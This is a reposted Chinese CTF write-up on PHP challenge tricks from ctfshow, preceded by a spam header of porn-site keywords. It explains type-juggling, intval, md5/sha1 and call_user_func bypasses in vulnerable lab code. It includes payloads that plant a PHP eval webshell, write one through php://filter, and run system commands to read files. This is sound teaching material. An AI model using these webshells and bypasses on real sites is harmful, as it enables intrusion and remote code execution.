日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

CTF题目中遇到的PHP考点总结(一)

發布時間:2025/3/21 php 18 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CTF题目中遇到的PHP考点总结(一) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

介紹

本篇文章主要總結了我在寫ctfshow題目中遇到的關于PHP的考點。因為只總結知識點和考點會比較空洞,也不容易理解,所以我都是通過題目來總結考點,這樣的話比較容易理解。

PHP函數特性相關

一、

考點一:intval函數傳入非空數組時會返回1 詳情可以查一下PHP手冊?!緃ttps://www.php.net/manual/zh/function.intval.php】 考點二:preg_match()只能處理字符串,當傳入的是數組時將會返回false,詳情也可以查一下PHP手冊。

例題

include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){$num = $_GET['num'];if(preg_match("/[0-9]/", $num)){die("no no no!");}if(intval($num)){echo $flag;} }

例題分析:

分析上面的代碼可以看出,正則匹配0-9,匹配到則返回true,直接die,但是由于preg_match()只能處理字符串,當傳入的是數組時將會返回false,從而繞過死亡函數。由于之前沒怎么了解過intval函數,所以我直接選擇查閱php手冊【https://www.php.net/manual/zh/function.intval.php】查閱后發現 **intval()**函數用于獲取變量的整數值。**intval()**函數通過使用指定的進制 base 轉換(默認是十進制),返回變量var的 integer 數值。 intval() 不能用于 object,否則會產生 E_NOTICE 錯誤并返回 1。也就是說,當給intval()函數傳入一個非空的數組時,intval()函數將會返回1,結合我們preg_match()傳入數組返回false的特性,這道題的payload就很清楚了。

payload: ?num[]=1

【技術文檔】

1、200多本網絡安全系列電子書
2、全套工具包
3、100份src源碼技術文檔
4、網絡安全基礎入門、Linux、web安全、攻防方面的視頻
5、 網絡安全學習路線
6、ctf奪旗賽解析

二、

考點一:PHP比較運算符 ===在進行比較的時候,會先判斷兩種字符串的類型是否相等,再比較值是否相等。

考點二:intval(value,value,value,base)當base為0時,會檢測value的格式來決定使用的進制。

例題:

include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){ # === 在進行比較的時候,會先判斷兩種字符串的類型是否相等,再比較值是否相等die("no no no!");}if(intval($num,0)===4476){ echo $flag;}else{echo intval($num,0);} }

例題分析:

如下圖所示,通過查詢php手冊,我們發現,intval(value,value,value,base)當base為0時,會檢測value的格式來決定使用的進制,所以我們可以通過把4476轉換成16進制,經過base為0的intval函數處理,會識別16進制的4476,從而返回flag,又因為===在進行比較的時候,會先判斷兩種字符串的類型是否相等,再比較值是否相等,所以由于字符串類型不同會返回false,從而繞過死亡函數。

payload: ?num=?num=0x117c

三、

考點一:strpos()函數查找字符串在另一字符串中第一次出現的位置并返回

考點二:intval(value,value,value,base)當base為0時,會檢測value的格式來決定使用的進制。

例題:

if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){die("no no no!");}if(preg_match("/[a-z]/i", $num)){die("no no no!");}if(!strpos($num, "0")){ #strpos()函數查找字符串在另一字符串中第一次出現的位置并返回。die("no no no!");}if(intval($num,0)===4476){echo $flag;} }

例題分析:

這道題目如果我們可以用八進制的4476來繞過,那么會有一個問題,因為八進制需要開頭指定為0,而strpos()會匹配到數字0返回0,!0也就是1從而執行死亡函數,所以我們可以在八進制前面加一個空格,這樣strpos()會返回1,所以我們把4476轉換為8進制10574后,前面再加一個空格即可。

payload如下:

?num= 010574

四、

考點一:PHP比較運算符 ===在進行比較的時候,會先判斷兩種字符串的類型是否相等,再比較值是否相等。

考點二:在PHP強比較中變量a、b兩個值不一樣,要求兩者md5值相同時的繞過方法。

考點三:PHP中md5函數處理數組類型會返回falsefalse的特性。

例題:

if (isset($_POST['a']) and isset($_POST['b'])) {if ($_POST['a'] != $_POST['b'])if (md5($_POST['a']) === md5($_POST['b']))echo $flag;elseprint 'Wrong.'; }

例題分析:

這一道題涉及到了強比較的md5類型,從代碼我們可以得知,要求a、b兩個值不一樣但是需要這兩個值得md5值一樣,因此強比較類型,我們可以利用md5函數處理數組類型會返回false的特性,從而利用false=false來繞過。我之前寫過一篇總結相關知識點的文章鏈接如下:https://www.freebuf.com/articles/web/321300.html

payload:

a[]=1&b[]=2

五、

考點一:in_array ()函數的作用是 檢查數組中是否存在某個值,而當in_array()函數沒設置第三個參數時進行的比較是弱比較。

考點二:file_put_contents()函數的作用是將一個字符串寫入文件。如果寫入的字符串和文件名可控則可能導致任意文件上傳漏洞。

例題:

$allow = array(); #創建空數組 for ($i=36; $i < 0x36d; $i++) {array_push($allow, rand(1,$i)); #在1-$i之間隨機生成一個整數,添加到數組$allow尾部 } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){file_put_contents($_GET['n'], $_POST['content']); }

例題分析:

由于之前不怎么了解in_array()函數所以直接查了PHP手冊https://www.php.net/manual/zh/function.in-array.php,發現這題在使用in_array()函數時并沒有設置第三個參數為TRUE,所以此時in_array函數進行的比較是==的弱類型比較。也就是會先進行強制轉換成相同類型,再比較兩者的值是否相等,所以當我們傳入1.php時會強制轉換成數字1,而數字1正好在 range(1,24)數組中,當隨機生成的數字正好是1時就可以繞過 in_array()函數判斷,導致任意文件上傳漏洞。多試幾次,直到不報錯的那一次,說明成功傳入一句話。之后訪問1.php 再通過再通過post傳入1=system(‘ls’);即可查看目錄,再訪問這個flag36d.php,即post: 1=system('cat flag36d.php');即可在網頁源碼中看到flag。

例題分析:

由于之前不怎么了解in_array()函數所以直接查了PHP手冊https://www.php.net/manual/zh/function.in-array.php,發現這題在使用in_array()函數時并沒有設置第三個參數為TRUE,所以此時in_array函數進行的比較是==的弱類型比較。也就是會先進行強制轉換成相同類型,再比較兩者的值是否相等,所以當我們傳入1.php時會強制轉換成數字1,而數字1正好在 range(1,24)數組中,當隨機生成的數字正好是1時就可以繞過 in_array()函數判斷,導致任意文件上傳漏洞。多試幾次,直到不報錯的那一次,說明成功傳入一句話。之后訪問1.php 再通過再通過post傳入1=system(‘ls’);即可查看目錄,再訪問這個flag36d.php,即post: 1=system(‘cat flag36d.php’);即可在網頁源碼中看到flag。

payload:

?n=1.php post: content=<?php eval($_POST[1]);?> #寫入一句話

##六、
考點一:**is_numeric()**函數用于檢測變量是否為數字或數字字符串,如果指定的變量是數字和數字字符串則返回 TRUE,否則返回 FALSE。

考點二:php有運算的優先級,而且&& > = > and
例題:

include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){if(!preg_match("/\;/", $v2)){if(preg_match("/\;/", $v3)){eval("$v2('ctfshow')$v3");}} }

例題分析:

**is_numeric()**函數用于檢測變量是否為數字或數字字符串,如果指定的變量是數字和數字字符串則返回 TRUE,否則返回 FALSE??吹阶詈骵val,肯定是需要命令執行,這需要v2傳入命令,v2傳入命令,v2v3需要;結尾,但這么一來is_numeric一處理就變成了

$vo = $v1 and FALSE and FAlse

但php有運算的優先級,也就是&&> = > and
按照運算優先級,先執行=也就是賦值給$a為true,false就被忽略了,思路也就有了,payload為

?v1=1&v2=system("tac ctfshow.php")&v3=; or ?v1=1&v2=var_dump($ctfshow)&v3=; #var_dump() 函數用于輸出變量的相關信息,這里用來獲取ctfshow類中變量的相關信息。從而獲得flag

得到$flag_is_1ce376300x2d8dc70x2d4b870x2d9f0e0x2d1eea5dada15;,其中0x2d需要替換成-,然而一共35位還少了一位,最后一位需要爆破獲得。

##七、
考點一:is_numeric() 函數用于檢測變量是否為數字或數字字符串,如果指定的變量是數字和數字字符串則返回true,否則返回false。如果字符串中含有一個e代表科學計數法,也可返回true

考點二:call_user_func() 函數用于調用方法或者變量,第一個參數是被調用的函數,第二個是調用的函數的參數。

考點三:file_put_contents()函數的作用是將一個字符串寫入文件。如果寫入的字符串和文件名可控則可能導致任意文件上傳漏洞。

考點四:通過file_put_contents()函數配合php://協議以base64編碼的形式寫入webshell。
例題:

<?php highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); #例題分析 通過將變量v2執行的命令base64加密后轉換成16進制字符串來使得變量v4為ture if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s); #例題分析 通過變量v1調用hex2bin函數將變量v2的16進制字符串轉換成原來的base64編碼形式echo $str;file_put_contents($v3,$str); #例題分析 通過使用php://filter偽協議寫入webshell } else{die('hacker'); }

例題分析:

首先,get傳參v2和v3,post傳參v1;if中需要v4為真才能往下執行,而v4要為真就是v2傳的參數要為數字或者數字字符串,同時v2也是我們要寫入的webshell,為了讓v2為數字或者數字字符串,我們可以先把我們的webshell轉換為base64編碼,再把base64編碼轉換為16進制,這是一種辦法去轉換成數字。本地測試代碼如下:

#本地測試代碼 <?php $b = base64_encode('<?=`tac *`;'); $b = str_replace("=","",$b); echo "base64加密后:".$b."\n"; $a = call_user_func('bin2hex',$b); #bin2hex可以將base64編碼形式轉換成16進制字符串形式。 echo "16進制形式:".$a."\n"; var_dump(is_numeric($a));/*運行結果 base64加密后:PD89YHRhYyAqYDs 16進制形式:504438395948526859794171594473 bool(true) */ ?>

說明:<?=是php的短標簽,是echo()的快捷用法,還有一點,就是substr()取得是從下標為2開始的字符串(字符串下標從0開始),所以我們需要在前面加00兩位數
所以payload為

?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=1.phppost: v1=hex2bin #通過hex2bin函數將16進制字符串轉換成原來的base64編碼形式

##八、
考點:sha1()函數特性,sha1函數無法處理數組,遇到數組會返回NULL

例題:

<?php highlight_file(__FILE__); include("flag.php");if(isset($_POST['v1']) && isset($_GET['v2'])){$v1 = $_POST['v1'];$v2 = $_GET['v2'];if(sha1($v1)==sha1($v2)){echo $flag;} }

**例題分析:**sha1函數無法處理數組,遇到數組會返回NULL,因此將兩個變量都設置成數組類型即可獲得flag。

payload如下:?v2[]= #給這兩個值賦值與否都不影響post: v1[]=

##九、
考點一:parse_str()函數會將傳入的第一個參數設置成變量,如果設置了第二參數,則會將第一個參數的變量以數組元素的形式存入到這個數組。

例題:

<?php highlight_file(__FILE__); error_reporting(0); include("flag.php");if(isset($_POST['v1'])){$v1 = $_POST['v1'];$v3 = $_GET['v3'];parse_str($v1,$v2);if($v2['flag']==md5($v3)){echo $flag;} }

例題分析:

看完上面的代碼就應該可以知道,這道題的關鍵就在于parse_str()函數,于是直接查PHP手冊中關于parse_str()的介紹。這里附鏈接:https://www.php.net/parse_str/ 看完后我們可以發現該函數會將傳入的第一個參數設置成變量,如果設置了第二參數,則會將第一個參數的變量以數組元素的形式存入到這個數組。分析上面的代碼我們知道v1我們可控,并且我們知道v2數組中有flag這個鍵,因此我們可以通過parse_str()函數將變量v1的變量名和變量值寫入數組v2,那么我們就可以覆蓋掉flag這個鍵值對,并且v3我們可控因此就可以繞過下面v2[′flag′]==md5(v2['flag']==md5(v2[flag]==md5(v3)的比較從而輸出flag。這樣思路有了,我們可以開始構造payload,payload如下:

?v3=1 POST:v1=flag=c4ca4238a0b923820dcc509a6f75849b #md5解密后對應1

##十、
考點: ereg()函數的匹配可以被%00截斷

例題:

<?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {die('error'); } //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){echo $flag; }

例題分析:

**ereg()**函數搜索由指定的字符串作為由模式指定的字符串,如果發現模式則返回true,否則返回false。搜索對于字母字符是區分大小寫的

**strrev()**函數反轉字符串。**intval()**函數用于獲取變量的整數值。首先我們需要知道%00可以截斷ereg()函數的搜索,正則表達式只會匹配%00之前的內容;0x36d的十進制內容為877,我們需要字母在前來滿足if條件的正則匹配來跳過if語句,接著再進行字符串的反轉得到877a,接著intval()函數取整數部分得到877
所以payload為

Code ?c=a%00778

##十一、
考點一:**call_user_func()**函數會執行回調函數,call_user_func()把第一個參數作為回調函數,其余參數都是回調函數的參數

考點二:_()是一個函數 _()等效于gettext() 是gettext()的拓展函數。

考點三:get_defined_vars()函數的作用: 返回由所有已定義變量所組成的數組。

例題:

<?php error_reporting(0); include("flag.php"); highlight_file(__FILE__);$f1 = $_GET['f1']; $f2 = $_GET['f2'];if(check($f1)){var_dump(call_user_func(call_user_func($f1,$f2))); }else{echo "嗯哼?"; } function check($str){return !preg_match('/[0-9]|[a-z]/i', $str); }

例題分析:

**call_user_func()**函數把第一個參數作為回調函數,其余參數都是回調函數的參數

_()是一個函數 _()等效于gettext() 是gettext()的拓展函數。開啟text擴展,需要php擴展目錄下有php_gettext.dll

#測試代碼: <?php echo gettext("ctfshownb"); //輸出結果:ctfshownbecho _("ctfshownb"); //輸出結果:ctfshownb

get_defined_vars()函數作用: 返回由所有已定義變量所組成的數組 這樣可以獲得 $flag

整個執行流程就是

var_dump(call_user_func(call_user_func($f1,$f2))); var_dump(call_user_func(call_user_func(_,'get_defined_vars'))); var_dump(call_user_func(get_defined_vars));//輸出數組

**payload: **

?f1=_&f2=get_defined_vars

##十二、
考點: call_user_func()函數特性

例題一:

<?php error_reporting(0); highlight_file(__FILE__); class ctfshow {function __wakeup(){die("private class");}static function getFlag(){echo file_get_contents("flag.php");} } call_user_func($_POST['ctfshow']);

例題分析:

直接調用ctfshow類中的getFlag方法就好,payload為

post: ctfshow=ctfshow::getFlag

**補充:**call_user_func()函數在PHP手冊中的介紹:

https://www.php.net/manual/zh/function.call-user-func.php

例題二:

<?php error_reporting(0); highlight_file(__FILE__); class ctfshow {function __wakeup(){die("private class");}static function getFlag(){echo file_get_contents("flag.php");} } if(strripos($_POST['ctfshow'], ":")>-1){die("private function"); } call_user_func($_POST['ctfshow']);

例題分析:

在前一題基礎上把冒號給ban了,但call_user_func()支持傳入數組形式。

call_user_func(array($ctfshow, ‘getFlag’));
這時候會調用ctfshow中的getFlag方法

所以payload為

post: ctfshow[0]=ctfshow&ctfshow[1]=getFlag

總結

以上是生活随笔為你收集整理的CTF题目中遇到的PHP考点总结(一)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。